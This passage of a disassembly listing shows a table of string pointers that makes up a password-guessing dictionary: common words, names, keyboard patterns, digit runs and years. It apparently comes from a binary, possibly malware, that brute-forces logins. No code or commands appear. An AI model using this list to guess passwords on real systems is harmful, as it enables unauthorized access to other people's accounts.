		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4282F0
		dd offset dword_4282EC
		dd offset dword_4282E8
		dd offset dword_4282E4
		dd offset dword_4282DC
		dd offset dword_4282D4
		dd offset dword_4282CC
		dd offset dword_4282C0
		dd offset dword_4282BC
		dd offset dword_4282B8
		dd offset off_4282B4
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_4282A8	; "+"
		dd offset asc_4282A4	; "++"
		dd offset asc_4282A0	; "+++"
		dd offset asc_428298	; "++++"
		dd offset asc_428294	; "-"
		dd offset asc_428290	; "--"
		dd offset asc_428290	; "--"
		dd offset asc_428288	; "----"
		dd offset asc_428284	; "-+"
		dd offset asc_42827C	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_428264	; "$"
		dd offset asc_428260	; "$$"
		dd offset asc_42825C	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_42820C	; "*"
		dd offset asc_428208	; "**"
		dd offset asc_428204	; "***"
		dd offset asc_4281FC	; "****"
		dd offset asc_4281F4	; "*****"
		dd offset asc_4281EC	; "******"
		dd offset asc_4281E4	; "*******"
		dd offset asc_4281D8	; "********"
		dd offset asc_4281CC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1_0		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4_0		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_2		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_427B68
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_42BB94	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC_0		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD_0		; "d"
		dd offset aDd_0		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF_1		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_4279D8	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_1		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ_0		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK_0		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_427948	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
